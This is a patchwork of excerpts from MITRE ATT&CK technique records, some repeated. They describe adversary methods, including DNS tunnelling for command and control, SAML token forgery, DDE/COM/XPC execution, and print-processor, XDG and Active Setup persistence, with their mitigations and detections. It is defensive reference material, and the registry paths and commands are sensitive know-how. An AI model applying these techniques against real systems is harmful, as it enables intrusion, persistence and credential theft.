Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.\nDNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\nAdversaries may also use DNS over TLS (DoT) or HTTPS (DoH) for resolving C2 servers. This encrypts the DNS requests and allows the malware to lookup C2 servers without being detected by security systems (e.g., DNS filtering based on indicators of compromise).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus.

In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. […]\n\n## Reference: ATT&CK T0869.002 Publish/Subscribe Protocols\n**ATT&CK T0869.002 Publish/Subscribe Protocols (full record).** Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and broker.\n\nProtocols such as MQTT are widely used in Internet-of-Things (IoT) and operational technology environments where devices are resource constrained and there is limited or unreliable network bandwidth. The protocol follows a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also blending in with normal, expected traffic.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic.\n\n**Mitigations.** - **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.

Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n\n**Detection strategies and analytics.** - **Detection of Execution through API**\n - Real-time monitoring identifies an unrecognized process on an ICS Linux host loading an ICS/vendor shared library that is normally restricted to approved control or engineering applications.

This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.\n\nOnce forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\n\n**Classification.** - Tactics: credential-access\n- Platforms: SaaS, Windows, macOS, Linux, IaaS, Office Suite, Identity Provider\n\n**Sub-techniques.** - T1606.001 Web Cookies: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services.\n- T1606.002 SAML Tokens: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.

The default lifetime of a SAML token is one hour, but the validity period can be specified in the `NotOnOrAfter` value of the `conditions...` element in a token. This value can be changed using the `AccessTokenLifetime` in a `LifetimeTokenPolicy`. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.\n\nAn adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.\n\n**Classification.** - Tactics: credential-access\n- Platforms: SaaS, Windows, IaaS, Office Suite, Identity Provider\n- Sub-technique of: T1606 Forge Web Credentials - Adversaries may forge credential materials that can be used to gain access to web applications or Internet services.\n\n**Mitigations.** - **Active Directory Configuration**: Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface.

Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.\n\n**Classification.** - Tactics: stealth\n- Platforms: IaaS\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats.

IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.\n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1559.003 XPC Services: Adversaries can provide malicious content to an XPC service daemon for local code execution.\n- T1559.002 Dynamic Data Exchange: Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands.\n- T1559.001 Component Object Model: Adversaries may use the Windows Component Object Model (COM) for local code execution.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. […]\n\n## Reference: ATT&CK T1559.001 Component Object Model\n**ATT&CK T1559.001 Component Object Model (full record).** Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. […]\n\n## Reference: ATT&CK T1559.002 Dynamic Data Exchange\n**ATT&CK T1559.002 Dynamic Data Exchange (full record).** Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. […]\n\n## Reference: ATT&CK T1559.003 XPC Services\n**ATT&CK T1559.003 XPC Services (full record).** Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service `C API` or the high level `NSXPCConnection API` in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler. This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.\n\n**Classification.** - Tactics: execution\n- Platforms: macOS\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect Abuse of XPC Services (T1559.003)**\n - Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage.

Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks.\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations.

Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1584 Compromise Infrastructure - Adversaries may compromise third-party infrastructure that can be used during targeting.

During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.

[…]\n\n## Reference: ATT&CK T0868 Detect Operating Mode\n**ATT&CK T0868 Detect Operating Mode (full record).** Adversaries may gather information about a PLCs or controllers current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments.

These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Sub-techniques.** - T0869.001 DNS: Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\n- T0869.002 Publish/Subscribe Protocols: Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic.\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation. […]\n\n## Reference: ATT&CK T0869.001 DNS\n**ATT&CK T0869.001 DNS (full record).** Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.\nDNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\nAdversaries may also use DNS over TLS (DoT) or HTTPS (DoH) for resolving C2 servers. This encrypts the DNS requests and allows the malware to lookup C2 servers without being detected by security systems (e.g., DNS filtering based on indicators of compromise).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus.

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and broker.\n\nProtocols such as MQTT are widely used in Internet-of-Things (IoT) and operational technology environments where devices are resource constrained and there is limited or unreliable network bandwidth. The protocol follows a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also blending in with normal, expected traffic.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic.\n\n**Mitigations.** - **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.

Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the `AddPrintProcessor` API call with an account that has `SeLoadDriverPrivilege` enabled. Alternatively, a print processor can be registered to the print spooler service by adding the `HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver` Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the `GetPrintProcessorDirectory` API call, or referenced via a relative path from this directory. After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with Masquerading to blend malicious Autostart entries with legitimate programs.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under ` HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\` and setting a malicious value for `StubPath`. This value will serve as the program that will be executed when a user logs into the computer.\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots.

Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or `Get-Process` via PowerShell. Information about processes can also be extracted from the output of Native API calls such as `CreateToolhelp32Snapshot`. In Mac and Linux, this is accomplished with the `ps` command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.\n\nOn network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.\n\n**Classification.** - Tactics: discovery\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n\n**Detection strategies and analytics.** - **Detection of Adversarial Process Discovery Behavior**\n - Identifies adversary behavior that launches commands or invokes APIs to enumerate active processes (e.g., tasklist.exe, Get-Process, or CreateToolhelp32Snapshot).

These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.\n\nThere are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\n\n**Classification.** - Tactics: execution\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1059.005 Visual Basic: Adversaries may abuse Visual Basic (VB) for execution.\n- T1059.002 AppleScript: Adversaries may abuse AppleScript for execution.

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. PowerShell can also be installed on Linux and macOS. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.\n\nPowerShell commands/scripts can also be executed without directly invoking the `powershell.exe` binary through interfaces to PowerShell's underlying `System.Management.Automation` assembly DLL exposed through the.NET framework and Windows Common Language Interface (CLI).\n\n**Classification.** - Tactics: execution\n- Platforms: Windows, Linux, macOS\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. […]\n\n## Reference: ATT&CK T1059.002 AppleScript\n**ATT&CK T1059.002 AppleScript (full record).** Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents. These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via `osascript /path/to/script` or `osascript -e \"script here\"`. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding `#!/usr/bin/osascript` to the start of the script file.\n\nAppleScripts do not need to call `osascript` to execute. However, they may be executed from within mach-O binaries by using the macOS Native APIs `NSAppleScript` or `OSAScript`, both of which execute code independent of the `/usr/bin/osascript` command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute Native APIs, which otherwise would require compilation and execution in a mach-O binary file format. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via Python.\n\n**Classification.** - Tactics: execution\n- Platforms: macOS\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Account Use Policies**: Account Use Policies help mitigate unauthorized access by configuring and enforcing rules that govern how and when accounts can be used. These policies include enforcing account lockout mechanisms, restricting login times, and setting inactivity timeouts. Proper configuration of these policies reduces the risk of brute-force attacks, credential theft, and unauthorized access by limiting the opportunities for malicious actors to exploit accounts.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

When AI agents are induced to exfiltrate data, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration to Code Repository or Exfiltration Over Web Service.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: Windows, SaaS\n\n**Mitigations.** - **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.

